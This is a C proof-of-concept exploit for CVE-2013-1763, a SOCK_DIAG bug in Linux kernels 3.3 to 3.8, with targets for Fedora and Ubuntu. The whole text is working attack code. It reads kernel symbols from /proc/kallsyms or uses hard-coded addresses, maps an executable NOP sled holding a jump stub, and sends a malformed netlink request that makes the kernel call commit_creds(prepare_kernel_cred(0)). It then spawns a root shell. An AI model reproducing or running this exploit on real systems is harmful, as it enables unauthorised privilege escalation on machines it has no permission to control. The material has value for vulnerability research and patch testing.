Linux Kernel 3.3-3.8 - SOCK_DIAG Local Root Exploit

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/*

* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8

* bug found by Spender

* poc by SynQ

*

* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux

* using nl_table->hash.rehash_time, index 81

*

* Fedora 18 support added

*

* 2/2013

*/

#include <unistd.h>

#include <sys/socket.h>

#include <linux/netlink.h>

#include <netinet/tcp.h>

#include <errno.h>

#include <linux/if.h>

#include <linux/filter.h>

#include <string.h>

#include <stdio.h>

#include <stdlib.h>

#include <linux/sock_diag.h>

#include <linux/inet_diag.h>

#include <linux/unix_diag.h>

#include <sys/mman.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);

typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;

_prepare_kernel_cred prepare_kernel_cred;

unsigned long sock_diag_handlers, nl_table;

int __attribute__((regparm(3)))

kernel_code()

{

    commit_creds(prepare_kernel_cred(0));

    return -1;

}

int jump_payload_not_used(void *skb, void *nlh)

{

    asm volatile (

        "mov $kernel_code, %eax\n"

        "call *%eax\n"

    );

}

unsigned long

get_symbol(char *name)

{

    FILE *f;

    unsigned long addr;

    char dummy, sym[512];

    int ret = 0;

  

    f = fopen("/proc/kallsyms", "r");

    if (!f) {

        return 0;

    }

  

    while (ret != EOF) {

        ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);

        if (ret == 0) {

            fscanf(f, "%s\n", sym);

            continue;

        }

        if (!strcmp(name, sym)) {

            printf("[+] resolved symbol %s to %p\n", name, (void *) addr);

            fclose(f);

            return addr;

        }

    }

    fclose(f);

  

    return 0;

}

int main(int argc, char*argv[])

{

    int fd;

    unsigned family;

    struct {

        struct nlmsghdr nlh;

        struct unix_diag_req r;

    } req;

    char    buf[8192];

    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){

        printf("Can't create sock diag socket\n");

        return -1;

    }

    memset(&req, 0, sizeof(req));

    req.nlh.nlmsg_len = sizeof(req);

    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;

    req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;

    req.nlh.nlmsg_seq = 123456;

    //req.r.sdiag_family = 89;

    req.r.udiag_states = -1;

    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

    if(argc==1){

        printf("Run: %s Fedora|Ubuntu\n",argv[0]);

        return 0;

    }

    else if(strcmp(argv[1],"Fedora")==0){

      commit_creds = (_commit_creds) get_symbol("commit_creds");

      prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");

      sock_diag_handlers = get_symbol("sock_diag_handlers");

      nl_table = get_symbol("nl_table");

       

      if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){

        printf("some symbols are not available!\n");

        exit(1);

        }

      family = (nl_table - sock_diag_handlers) / 4;

      printf("family=%d\n",family);

      req.r.sdiag_family = family;

       

      if(family>255){

        printf("nl_table is too far!\n");

        exit(1);

        }

    }

    else if(strcmp(argv[1],"Ubuntu")==0){

      commit_creds = (_commit_creds) 0xc106bc60;

      prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;

      req.r.sdiag_family = 81;

    }

    unsigned long mmap_start, mmap_size;

    mmap_start = 0x10000;

    mmap_size = 0x120000;

    printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);

        if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,

                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {

                printf("mmap fault\n");

                exit(1);

        }

    memset((void*)mmap_start, 0x90, mmap_size);

    char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm

    unsigned long *asd = &jump[4];

    *asd = (unsigned long)kernel_code;

    memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

    if ( send(fd, &req, sizeof(req), 0) < 0) {

        printf("bad send\n");

        close(fd);

        return -1;

    }

    printf("uid=%d, euid=%d\n",getuid(), geteuid() );

    if(!getuid())

        system("/bin/sh");

}